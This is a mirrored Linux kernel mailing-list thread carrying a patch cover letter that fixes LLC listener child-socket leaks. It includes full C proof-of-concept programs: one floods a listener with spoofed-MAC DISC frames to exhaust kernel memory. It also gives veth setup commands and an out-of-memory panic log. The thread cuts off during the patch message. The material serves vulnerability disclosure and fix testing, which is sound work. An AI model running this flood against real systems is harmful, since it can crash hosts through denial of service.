mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* [PATCH net v12 0/1] llc: fix listener child socket leaks
@ 2026-09-24 16:32 Zihan Xi
  2026-09-24 16:32 ` [PATCH net v12 1/1] " Zihan Xi
  0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-09-24 16:32 UTC (permalink / raw)
  To: netdev; +Cc: zihanx, linux-kernel, davem, edumazet, kuba, pabeni, horms

Hi netdev,

The affected file is net/llc/llc_conn.c. The change is limited to
listener-side frame classification and admission/lifetime handling for
unaccepted passive-open children. Established LLC sockets continue
through the existing receive path.

---- details below ----

Bug details:

llc_conn_handler() created and published a child socket for any frame
matching a listener. Non-SABME frames cannot complete passive open, so
the resulting children stayed in the SAP hash with SAP and device
references held.
SABME children could also be stranded if backlog admission, state-machine
processing or listener teardown failed. Their indications were not
counted against the accept backlog.

The patch creates children only for SABME, replies to DISC and other
P=1 commands from the listener, and drops other non-SABME frames. It
accounts indications against the accept backlog, ties unaccepted-child
cleanup to the indication skb, and holds skb->dev while a frame waits in
backlog. A deferred SABME that drains after the listener leaves
TCP_LISTEN is dropped before the state machine can dereference its unset
skb->sk.

The child-publication behavior dates to 1da177e4c3f4
("Linux-2.6.12-rc2"); d389424e00f9 ("[LLC]: Fix the accept path")
retained it. Fixes therefore points to the original commit.

Validation status

The final v12 patch, including the ownerless-backlog guard, built
successfully. SABME accept/close, accept-backlog and a 110000-frame
DISC flood passed in a 2-vCPU, 2-GB x86 QEMU guest. After the flood,
/proc/net/llc/socket contained only its header; the log ended with
LLC_POC_DONE and had no BUG, Oops or panic (KASAN was not enabled).
The tests did not directly exercise a deferred SABME drained after the
listener leaves TCP_LISTEN, or the net_device-unregister race.

The OOM log below is separate evidence from an unfixed Linux v6.12.74
guest. There, panic_on_oom=2 made exhaustion fatal during a DISC flood;
that setting is not needed to trigger the leak. The trace was decoded
with the matching v6.12.74 vmlinux.

Access and test setup

PF_LLC sockets are restricted to init_net. Local testing ran as root to
create a veth pair. On an existing interface, the receive trigger needs
CAP_NET_RAW, not CAP_NET_ADMIN; changing panic_on_oom for the separate
OOM run also requires privilege. packetdrill cannot express both a
PF_LLC listener/accept lifecycle and AF_PACKET Ethernet injection with
rotating source MACs, so the reproducer uses C programs.

Reproducer

Build the programs from the bug directory. Create the veth pair once
(requires CAP_NET_ADMIN), then run each test in init_net with CAP_NET_RAW:

    gcc -O2 -static -Wall -Wextra -o poc poc.c
    gcc -O2 -static -Wall -Wextra -o poc-sabme poc-sabme.c
    gcc -O2 -static -Wall -Wextra -o poc-backlog verify/poc-backlog.c
    ip link add llc_rx0 type veth peer name llc_tx0
    ip link set llc_rx0 address 02:11:22:33:44:55
    ip link set llc_tx0 address 02:11:22:33:44:66
    ip link set llc_rx0 up
    ip link set llc_tx0 up
    ./poc-sabme accept llc_rx0 llc_tx0
    ./poc-sabme close llc_rx0 llc_tx0 100
    ./poc-backlog llc_rx0 llc_tx0 1 10
    ./poc llc_rx0 llc_tx0 100
    wc -l /proc/net/llc/socket

For the unfixed-kernel OOM evidence, use a fresh unfixed guest after
compiling the PoC and setting up the veth pair. As root, set
panic_on_oom before the long DISC flood:

    # fresh unfixed guest
    echo 2 > /proc/sys/vm/panic_on_oom
    ./poc llc_rx0 llc_tx0 110000

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [rx_if] [tx_if] [count]\n"
		"  rx_if: LLC listener interface (default: %s)\n"
		"  tx_if: raw packet sender interface (default: %s)\n"
		"  count: number of DISC frames to send, 0 means forever\n",
		prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");

	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");

	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd;

	fd = socket(AF_LLC, SOCK_STREAM, 0);
	if (fd < 0)
		die_errno("socket(AF_LLC)");

	get_if_hwaddr(ifname, mac);

	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");

	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int fd;
	int one = 1;
	int ifindex = get_ifindex(ifname);

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (fd < 0)
		die_errno("socket(AF_PACKET)");

	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");

	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

int main(int argc, char **argv)
{
	static unsigned char frame[ETH_ZLEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	struct sockaddr_ll sll;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 0;
	uint64_t i = 1;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
		usage(argv[0]);
		return 0;
	}
	if (argc > 1)
		rx_if = argv[1];
	if (argc > 2)
		tx_if = argv[2];
	if (argc > 3) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[3], &end, 0);
		if (errno || !end || *end != '\0') {
			fprintf(stderr, "invalid count: %s\n", argv[3]);
			return EXIT_FAILURE;
		}
	}
	if (argc > 4) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst_mac, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst_mac, ETH_ALEN);

	fprintf(stderr,
		"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
		rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
	fprintf(stderr,
		"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
		dst_mac[0], dst_mac[1], dst_mac[2],
		dst_mac[3], dst_mac[4], dst_mac[5]);
	fprintf(stderr,
		"sending LLC DISC commands with a unique spoofed source MAC each time\n");

	while (!count || i <= count) {
		fill_src_mac(src_mac, i);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);

		if (sendto(packet_fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die_errno("sendto(AF_PACKET)");

		if (!(i % DEFAULT_REPORT_EVERY))
			fprintf(stderr, "sent=%llu\n",
				(unsigned long long)i);
		i++;
	}

	close(packet_fd);
	close(listener_fd);
	return 0;
}
------END poc.c--------

------BEGIN poc-sabme.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die_errno("socket(AF_INET)");
	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");
	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die_errno("socket(AF_INET)");
	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");
	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd = socket(AF_LLC, SOCK_STREAM, 0);

	if (fd < 0)
		die_errno("socket(AF_LLC)");
	get_if_hwaddr(ifname, mac);
	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");
	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int one = 1;
	int ifindex = get_ifindex(ifname);
	int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

	if (fd < 0)
		die_errno("socket(AF_PACKET)");
	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;
	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");
	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

static void send_sabme(int packet_fd, int ifindex, const unsigned char dst[ETH_ALEN],
		       const unsigned char src[ETH_ALEN])
{
	static unsigned char frame[ETH_ZLEN];
	struct sockaddr_ll sll;

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst, ETH_ALEN);
	memcpy(frame + ETH_ALEN, src, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = SABME_CMD;
	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst, ETH_ALEN);
	if (sendto(packet_fd, frame, sizeof(frame), 0,
		   (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("sendto(AF_PACKET)");
}

static void usage(const char *prog)
{
	fprintf(stderr, "usage: %s accept|close [rx_if] [tx_if] [count]\n", prog);
}

int main(int argc, char **argv)
{
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	const char *mode;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 1;
	uint64_t i;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc < 2) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}
	mode = argv[1];
	if (argc > 2)
		rx_if = argv[2];
	if (argc > 3)
		tx_if = argv[3];
	if (argc > 4) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[4], &end, 0);
		if (errno || !end || *end != '\0' || !count) {
			fprintf(stderr, "invalid count: %s\n", argv[4]);
			return EXIT_FAILURE;
		}
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);
	fprintf(stderr, "mode=%s listener_if=%s sender_if=%s count=%llu\n",
		mode, rx_if, tx_if, (unsigned long long)count);

	if (!strcmp(mode, "accept")) {
		int child;
		struct sockaddr_llc addr;
		socklen_t addrlen = sizeof(addr);
		struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };

		fill_src_mac(src_mac, 1);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		send_sabme(packet_fd, ifindex, dst_mac, src_mac);
		setsockopt(listener_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
		child = accept(listener_fd, (struct sockaddr *)&addr, &addrlen);
		if (child < 0)
			die_errno("accept(AF_LLC)");
		printf("SABME passive open accepted\naccept_rc=0\n");
		close(child);
		close(packet_fd);
		close(listener_fd);
		return 0;
	}

	if (!strcmp(mode, "close")) {
		for (i = 1; i <= count; i++) {
			fill_src_mac(src_mac, i);
			if (!memcmp(src_mac, dst_mac, ETH_ALEN))
				src_mac[ETH_ALEN - 1] ^= 1;
			send_sabme(packet_fd, ifindex, dst_mac, src_mac);
		}
		close(packet_fd);
		close(listener_fd);
		printf("SABME sent without accept and listener closed\n");
		return 0;
	}

	usage(argv[0]);
	return EXIT_FAILURE;
}
------END poc-sabme.c--------

------BEGIN poc-backlog.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die_errno("socket(AF_INET)");
	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");
	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die_errno("socket(AF_INET)");
	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");
	close(fd);
	return ifr.ifr_ifindex;
}

static int llc_socket_count(void)
{
	FILE *fp = fopen("/proc/net/llc/socket", "r");
	char line[256];
	int count = 0;

	if (!fp)
		return -1;
	if (!fgets(line, sizeof(line), fp)) {
		fclose(fp);
		return -1;
	}
	while (fgets(line, sizeof(line), fp))
		count++;
	fclose(fp);
	return count;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

int main(int argc, char **argv)
{
	const char *rx_if = argc > 1 ? argv[1] : "llc_rx0";
	const char *tx_if = argc > 2 ? argv[2] : "llc_tx0";
	int backlog = argc > 3 ? atoi(argv[3]) : 1;
	int nframes = argc > 4 ? atoi(argv[4]) : 10;
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	struct sockaddr_llc addr;
	struct sockaddr_ll sll;
	static unsigned char frame[ETH_ZLEN];
	int listener_fd, packet_fd, ifindex, one = 1, i, after_send, after_close;
	int expected_max;

	listener_fd = socket(AF_LLC, SOCK_STREAM, 0);
	if (listener_fd < 0)
		die_errno("socket(AF_LLC)");
	get_if_hwaddr(rx_if, dst_mac);
	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = DEFAULT_SAP;
	memcpy(addr.sllc_mac, dst_mac, ETH_ALEN);
	if (bind(listener_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(listener_fd, backlog) < 0)
		die_errno("listen(AF_LLC)");

	ifindex = get_ifindex(tx_if);
	packet_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (packet_fd < 0)
		die_errno("socket(AF_PACKET)");
	setsockopt(packet_fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;
	if (bind(packet_fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");

	for (i = 1; i <= nframes; i++) {
		fill_src_mac(src_mac, i);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		memset(frame, 0, sizeof(frame));
		memcpy(frame, dst_mac, ETH_ALEN);
		memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);
		((struct ethhdr *)frame)->h_proto = htons(3);
		frame[ETH_HLEN + 0] = DEFAULT_SAP;
		frame[ETH_HLEN + 1] = 0x04;
		frame[ETH_HLEN + 2] = SABME_CMD;
		memset(&sll, 0, sizeof(sll));
		sll.sll_family = AF_PACKET;
		sll.sll_ifindex = ifindex;
		sll.sll_halen = ETH_ALEN;
		memcpy(sll.sll_addr, dst_mac, ETH_ALEN);
		if (sendto(packet_fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die_errno("sendto(AF_PACKET)");
	}
	usleep(200000);
	after_send = llc_socket_count();
	/* TCP-style: sk_acceptq_is_full() is >, so listen(N) can hold N+1. */
	expected_max = 1 + backlog + 1;
	printf("listen_backlog=%d sabme_sent=%d llc_sockets_open=%d expected_max=%d\n",
	       backlog, nframes, after_send, expected_max);
	if (after_send < 1 || after_send > expected_max) {
		fprintf(stderr, "FAIL: open socket count %d not in 1..%d\n",
			after_send, expected_max);
		return EXIT_FAILURE;
	}
	close(packet_fd);
	close(listener_fd);
	usleep(200000);
	after_close = llc_socket_count();
	printf("llc_sockets_after_close=%d\n", after_close);
	if (after_close != 0) {
		fprintf(stderr, "FAIL: leftover sockets after close: %d\n",
			after_close);
		return EXIT_FAILURE;
	}
	printf("backlog_rc=0\n");
	return 0;
}
------END poc-backlog.c--------

----BEGIN crash log----
Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3

[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014

[ 1665.706676][T10284] Call Trace:

[ 1665.706943][T10284]  <TASK>

[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:118 (discriminator 3)) 

[1665.707568][T10284] panic (kernel/panic.c:611) 

[1665.707918][T10284] ? dump_header (arch/x86/include/asm/atomic64_64.h:15 include/linux/atomic/atomic-arch-fallback.h:2583 include/linux/atomic/atomic-long.h:38 include/linux/atomic/atomic-instrumented.h:3189 include/linux/vmstat.h:196 include/linux/vmstat.h:208 mm/oom_kill.c:183 mm/oom_kill.c:473) 

[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:288) 

[1665.708678][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.709132][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.709616][T10284] ? out_of_memory (mm/oom_kill.c:1158 (discriminator 1)) 

[1665.710024][T10284] out_of_memory (mm/oom_kill.c:1158 (discriminator 1)) 

[1665.710435][T10284] ? __pfx_out_of_memory (mm/oom_kill.c:1114) 

[1665.710868][T10284] ? lock_acquire+0x2f/0xb0 

[1665.711243][T10284] ? __alloc_pages_noprof (mm/page_alloc.c:4188 mm/page_alloc.c:4478 mm/page_alloc.c:4839) 

[1665.711712][T10284] __alloc_pages_noprof (include/linux/vmstat.h:236 (discriminator 1) mm/page_alloc.c:4201 (discriminator 1) mm/page_alloc.c:4478 (discriminator 1) mm/page_alloc.c:4839 (discriminator 1)) 

[1665.712184][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.712658][T10284] ? hlock_class+0x4e/0x130 

[1665.713041][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.713501][T10284] ? __pfx___alloc_pages_noprof (mm/page_alloc.c:4792) 

[1665.713991][T10284] ? __pfx___lock_acquire+0x10/0x10 

[1665.714431][T10284] ? __sanitizer_cov_trace_switch+0x54/0x90 

[1665.714917][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.715381][T10284] ? policy_nodemask (mm/mempolicy.c:1865 (discriminator 1) mm/mempolicy.c:2066 (discriminator 1)) 

[1665.715788][T10284] alloc_pages_mpol_noprof (include/linux/mm.h:1637) 

[1665.716246][T10284] ? __pfx_alloc_pages_mpol_noprof (mm/mempolicy.c:2227) 

[1665.716734][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.717194][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.717656][T10284] ? xas_load (lib/xarray.c:243) 

[1665.718005][T10284] ? filemap_get_entry (mm/filemap.c:1850) 

[1665.718439][T10284] folio_alloc_noprof (include/linux/instrumented.h:68 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/page-flags.h:829 include/linux/page-flags.h:850 mm/internal.h:703 mm/internal.h:699 mm/mempolicy.c:2356) 

[1665.718847][T10284] filemap_alloc_folio_noprof (mm/filemap.c:1511) 

[1665.719316][T10284] ? __pfx_filemap_alloc_folio_noprof (mm/filemap.c:996) 

[1665.719803][T10284] ? filemap_fault (include/linux/instrumented.h:68 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/page-flags.h:562 mm/filemap.c:3241 mm/filemap.c:3342) 

[1665.720231][T10284] __filemap_get_folio (mm/filemap.c:3818) 

[1665.720683][T10284] filemap_fault (mm/internal.h:1002 mm/filemap.c:3242 mm/filemap.c:3342) 

[1665.721097][T10284] ? __pfx_filemap_fault (mm/filemap.c:3315) 

[1665.721534][T10284] ? do_pte_missing+0x165a/0x3ff0 

[1665.721944][T10284] ? __pfx_lock_release+0x10/0x10 

[1665.722375][T10284] ? __pfx_filemap_map_pages (mm/filemap.c:3645) 

[1665.722813][T10284] __do_fault (mm/memory.c:4887) 

[1665.723172][T10284] ? __pfx_filemap_map_pages (mm/filemap.c:3645) 

[1665.723621][T10284] do_pte_missing+0x174c/0x3ff0 

[1665.724026][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182) 

[1665.724482][T10284] ? reacquire_held_locks+0x20b/0x4c0 

[1665.724932][T10284] ? lock_vma_under_rcu (include/linux/mm.h:718 (discriminator 2) mm/memory.c:6266 (discriminator 2)) 

[1665.725374][T10284] __handle_mm_fault (mm/memory.c:4791 mm/memory.c:3963 mm/memory.c:5789 mm/memory.c:5932) 

[1665.725805][T10284] ? __pfx_lock_release+0x10/0x10 

[1665.726207][T10284] ? down_read_trylock (kernel/locking/rwsem.c:1604) 

[1665.726640][T10284] ? __pfx___handle_mm_fault (mm/memory.c:5841) 

[1665.727085][T10284] ? __pfx_down_read_trylock (kernel/locking/rwsem.c:1562) 

[1665.727574][T10284] ? __pfx_lock_vma_under_rcu (mm/memory.c:6256) 

[1665.728053][T10284] handle_mm_fault (mm/memory.c:2943) 

[1665.728479][T10284] do_user_addr_fault (arch/x86/mm/fault.c:441 arch/x86/mm/fault.c:1230) 

[1665.728921][T10284] exc_page_fault (arch/x86/include/asm/irqflags.h:37 arch/x86/include/asm/irqflags.h:114 arch/x86/mm/fault.c:1485 arch/x86/mm/fault.c:1534) 

[1665.729305][T10284] asm_exc_page_fault (arch/x86/include/asm/idtentry.h:623) 

[ 1665.729700][T10284] RIP: 0033:0x559e433ce5cb

[ 1665.730065][T10284] Code: Unable to access opcode bytes at 0x559e433ce5a1.

Code starting with the faulting instruction
===========================================

[ 1665.730594][T10284] RSP: 002b:00007ffcc17c93f0 EFLAGS: 00010206

[ 1665.731148][T10284] RAX: 000000000000003c RBX: 00007ffcc17c9418 RCX: 0000559e433d10c6

[ 1665.731733][T10284] RDX: 000000000000002c RSI: 0000559e433d10c0 RDI: 0000000000000004

[ 1665.732318][T10284] RBP: 00007ffcc17c9412 R08: 00007ffcc17c9420 R09: 0000000000000014

[ 1665.732904][T10284] R10: 0000000000000000 R11: 0000000000000202 R12: 0000559e433d10c6

[ 1665.733491][T10284] R13: d288ce703afb7e91 R14: 0000000000019194 R15: 0000000000000004

[ 1665.734120][T10284]  </TASK>

[ 1665.735174][T10284] Kernel Offset: disabled

[ 1665.735576][T10284] Rebooting in 86400 seconds..
-----END crash log-----

Best regards,
Zihan Xi

Changes in v12

- Order llc_conn_handler() locals in reverse Christmas tree order.
- Create children only for SABME; answer DISC and other P=1 commands
  from the listener.
- Drop ownerless deferred SABMEs if the listener leaves TCP_LISTEN
  before backlog drain.
- Hold skb->dev while queued; account indications and release
  unaccepted children on failure and teardown.
- Previous version:
  https://lore.kernel.org/all/cover.1790062133.git.zihanx@nebusec.ai/

Zihan Xi (1):
  llc: fix listener child socket leaks

 net/llc/llc_conn.c | 175 +++++++++++++++++++++++++++++++++++++++++----
 1 file changed, 163 insertions(+), 12 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 4+ messages in thread

* [PATCH net v12 1/1] llc: fix listener child socket leaks
  2026-09-24 16:32 [PATCH net v12 0/1] llc: fix listener child socket leaks Zihan Xi
@ 2026-09-24 16:32 ` Zihan Xi
  2026-09-28  9:49   ` Simon Horman
  0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-09-24 16:32 UTC (permalink / raw)
  To: netdev
  Cc: zihanx, linux-kernel, davem, edumazet, kuba, pabeni, horms,
	stable, Vega, Luxing Yin

LLC listener processing could retain child sockets and their SAP and
netdevice references when passive-open setup did not complete, potentially
exhausting kernel resources.

Tie unaccepted-child cleanup to the connection indication and handle
failure and listener-teardown paths. Account pending indications against
the accept backlog, and retain the receive device while deferred packets
